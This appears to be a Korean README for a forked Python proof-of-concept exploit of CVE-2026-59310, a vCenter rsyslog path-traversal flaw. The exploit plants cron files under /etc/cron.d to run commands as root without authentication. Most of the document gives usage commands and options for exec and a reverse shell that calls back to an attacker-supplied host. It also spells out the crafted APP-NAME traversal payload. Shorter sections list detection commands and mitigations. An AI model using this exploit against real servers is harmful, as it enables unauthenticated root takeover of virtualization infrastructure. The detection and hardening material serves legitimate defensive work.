
CVE-2026-59310용 Python PoC: vCenter rsyslog 경로 순회를 악용하여 파일을 쓰고 cron을 통해 root 권한으로 명령을 실행하며, check, exec, shell, cleanup 모드를 제공합니다.
한국어 | 中文
ChinaRan0/CVE-2026-59310-POC의 최적화된 포크입니다. 취약점 분석은 해당 프로젝트를 따릅니다. 이 트리는 승인된 테스트를 위해 클라이언트와 문서를 재작성했습니다: 하위 명령, 원샷 cron 작업, 원격 PTY에서의 대화형 셸을 제공합니다.
승인된 사용만 허용됩니다. 테스트에 대한 명시적 서면 허가를 받은 시스템에만 실행하십시오. 현지 법률 준수 및 대상에 대한 모든 영향에 대한 책임은 사용자에게 있습니다.
| CVE | CVE-2026-59310 |
| 권고 | VMSA-2026-0006 |
| CVSS v3.1 | 9.8 심각 |
| 취약점 | vCenter rsyslog의 경로 순회 → 임의 파일 쓰기 → root 코드 실행 |
| 필요한 권한 | 없음. syslog(UDP/TCP 514)에 대한 네트워크 접근만으로 충분 |
| 수정 버전 | 9.0.2.0100 (Build 25629525), 9.1.0.0300, 8.0 U3k, 8.0 U2f |
| 업스트림 | ChinaRan0/CVE-2026-59310-POC |
| 업스트림 | 이 포크 | |
|---|---|---|
| CLI | 하나의 파서에 -c, --lhost, --check | check, exec, shell, cleanup 하위 명령 |
| Cron | 매분 반복 | 자체 파일을 삭제한 후 한 번만 실행 |
| 인용 | 명령 텍스트를 셸에 연결 | shlex.quote 사용으로 인용 부호가 cron 라인을 분할할 수 없음 |
| 셸 | 로컬 가짜 프롬프트, 한 줄씩 처리 | 원격 PTY, 키 입력 중계, 원격 색상 및 Tab 완성 |
| 정리 | rm 힌트 출력 | --id에 대한 아티팩트를 제거하는 원샷 작업 설치 |
| 리스너 | 0.0.0.0에 바인딩 | --bind로 로컬 주소 선택 |
shell은 대상에 python3가 필요합니다. vCenter Server Appliance에는 포함되어 있습니다. 세션은 pty.spawn을 사용하므로 셸에 실제 터미널이 제공됩니다.python3 exploit.py check <target>
python3 exploit.py exec <target> -c "id; hostname"
python3 exploit.py shell <target> --lhost <callback-ip> --lport 4444
python3 exploit.py cleanup <target> --id <id>
exec와 shell은 crond가 약 60초 후에 한 번 실행하는 cron 파일을 작성합니다. --id 없이 cleanup을 실행하면 cve59310 접두사를 사용하는 모든 아티팩트를 제거합니다.
| 옵션 | 의미 |
|---|---|
--port | Syslog 포트. 기본값 514. |
--tcp | Syslog를 UDP 대신 TCP로 전송. |
--id | 아티팩트 id: 1–32자, [a-z0-9]. 생략 시 무작위. |
-q | 배너를 표시하지 않음. |
exec| 옵션 | 의미 |
|---|---|
-c / --cmd | 실행할 명령. 결합된 stdout과 stderr는 /tmp/cve59310_<id>.txt로 전달됩니다. |
--wait | 출력 파일을 읽을 수 있을 때까지 또는 타임아웃까지 폴링. |
--timeout | --wait의 초 단위 시간. 기본값 180. |
--read-command | 로컬 argv 템플릿. {path}는 원격 출력 경로. |
--wait는 --read-command를 필요로 하며, 예를 들어 ssh root@target cat {path}와 같습니다. 템플릿은 shlex로 분할되며 로컬 셸을 거치지 않습니다. a; b와 같은 명령은 { a; b; } > file로 그룹화되어 두 부분 모두 캡처됩니다.
shell| 옵션 | 의미 |
|---|---|
--lhost / --lport | 대상이 역으로 연결할 주소와 포트. 포트 기본값 4444. |
--bind | 로컬 수신 주소. 기본값 0.0.0.0. |
--method {bash,python} | 소켓을 여는 프로그램. 기본값 bash. 이후 둘 다 대상의 python3를 사용해 PTY를 할당합니다. |
--timeout | 콜백을 기다리는 초 단위 시간. 기본값 180. |
프롬프트, 색상, Tab 완성은 대상 bash에서 제공됩니다. Ctrl+]는 로컬 측을 닫습니다. exit는 원격 셸을 종료합니다. shell은 실제 터미널에서 실행하세요. 라인 버퍼링 클라이언트로는 완료할 수 없습니다.
| 동작 | 경로 |
|---|---|
check | /tmp/cve59310_check_<id>-syslog.log |
exec | /etc/cron.d/cve59310<id>-syslog.log 및 /tmp/cve59310_<id>.txt |
shell | /etc/cron.d/cve59310<id>-syslog.log, 작업 실행 후 작업 자체에 의해 제거됨 |
--id를 기록하세요. cleanup <target> --id <id>는 해당 실행을 삭제합니다. --id가 없으면 정리 작업이 cve59310 접두사 전체를 삭제합니다.
| 대상 | VMware vCenter Server 9.0.2.0, Build 25148086 |
| 수정 빌드 | 9.0.2.0100, Build 25629525 |
| rsyslog | 8.2306.0-4.ph5 |
| 진입점 | UDP/TCP 514, 인증 없음 |
해당 빌드에서 check는 /tmp 아래에 root 소유 파일을 생성하고, id와 함께 exec를 실행하면 약 1분 후 uid=0(root)를 반환하며, shell은 대상 프롬프트(root [ / ]#, 색상 포함)를 표시합니다.
해당 브랜치의 수정 빌드보다 오래된 모든 버전. 독립형 vCenter가 영향을 받으며, VMware Cloud Foundation, vSphere Foundation, Telco Cloud의 vCenter 구성 요소도 영향을 받습니다.
| 브랜치 | 영향 받음 | 수정됨 |
|---|---|---|
| 9.1 | < 9.1.0.0300 | 9.1.0.0300 |
| 9.0 | < 9.0.2.0100 | 9.0.2.0100 (Build 25629525) |
| 8.0 U3 | < 8.0 U3k | 8.0 U3k |
| 8.0 U2 | < 8.0 U2f | 8.0 U2f |
| 8.0 GA / U1 | 전체 | 8.0 U3k 이상으로 업그레이드 |
| 7.0 | 해당 패치 누락 | Broadcom에서 패치를 받거나 지원되는 릴리스로 이동 |
/sdk/vimServiceVersions.xml은 어플라이언스 빌드가 아닌 API 네임스페이스(흔히 9.0.0.0)를 보고합니다. /etc/vmware-release와 /etc/applmgmt/appliance/version으로 빌드를 확인하세요.
vCenter의 rsyslog 구성은 %app-name%을 로그 경로에 보간하며 $EscapeControlCharactersOnReceive off를 설정합니다:
$template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
:app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt
pmrfc3164는 APP-NAME을 /에서 잘라냅니다. pmrfc5424는 그렇게 하지 않으며, 기본 규칙 세트는 RFC5424를 허용합니다. 따라서 rsyslog/../../../../tmp/x와 같이 조작된 APP-NAME은 /var/log/vmware/ 외부에 root 소유의 *-syslog.log 파일로 기록됩니다. 메시지 본문에 개행 문자가 있으면 cron 줄이 0번 열에서 시작할 수 있으므로 crond가 이를 root 권한으로 실행합니다. 파일 이름은 항상 -syslog.log로 끝나기 때문에, 접미사가 없는 crontab을 대체하는 대신 cron 파일이 /etc/cron.d/ 아래에 위치하게 됩니다.
| 파서 | rsyslog/../../../../tmp/x에 대한 %app-name% 값 |
|---|---|
| pmrfc3164 | rsyslog |
| pmrfc5424 | rsyslog/../../../../tmp/x |
벤더 권고문은 또한 /opt/vmware/share/htdocs/ 아래에 기록하고 https://<target>:5480/을 통해 다시 읽는 것에 대해서도 설명합니다.
cat /etc/vmware-release
grep -nE '%(app-name|hostname)%' /etc/rsyslog.conf
grep -n EscapeControlCharactersOnReceive /etc/rsyslog.conf
find / -name '*-syslog.log' \
-not -path '/var/log/vmware/*' \
-not -path '/storage/log/vmware/*' 2>/dev/null
ls -la /etc/cron.d/ /opt/vmware/share/htdocs/
로그 디렉터리 외부의 *-syslog.log 파일과 이름에 ..가 포함된 디렉터리가 일반적인 잔여물입니다. rsyslog는 템플릿이 로그 트리 밖으로 벗어날 때 누락된 상위 디렉터리를 생성합니다.
업그레이드하십시오. 9.0 브랜치에서 최소 수정 빌드는 9.0.2.0100 (Build 25629525) 입니다.
해당 업그레이드 전까지:
pmrfc3164로 고정하십시오. 기본 ruleset이 RFC5424를 수용하도록 두지 마십시오.securepath="normal" 및 secpath-drop="replace"를 설정하십시오. 업스트림은 securepath를 파서의 슬래시 필터가 아닌 경로 경계로 취급합니다.$EscapeControlCharactersOnReceive를 켜십시오.:app-name, startswith, "rsyslog"를 정확한 일치로 교체하고, 동적 파일 작성자를 소스 네트워크별로 제한하십시오.permit.slashesinhostname을 활성화하면 %hostname% 템플릿이 같은 방식으로 경로 순회가 가능해집니다.
exec --read-command를 사용하거나 대상에서 출력을 읽으십시오.shell은 양쪽 모두에 TTY가 필요합니다. 탭 완성은 반이중, 줄 지향 클라이언트를 통해 작동하지 않습니다.check는 파일을 씁니다. 이는 쓰기 증명이며, 읽기 전용 프로브가 아닙니다.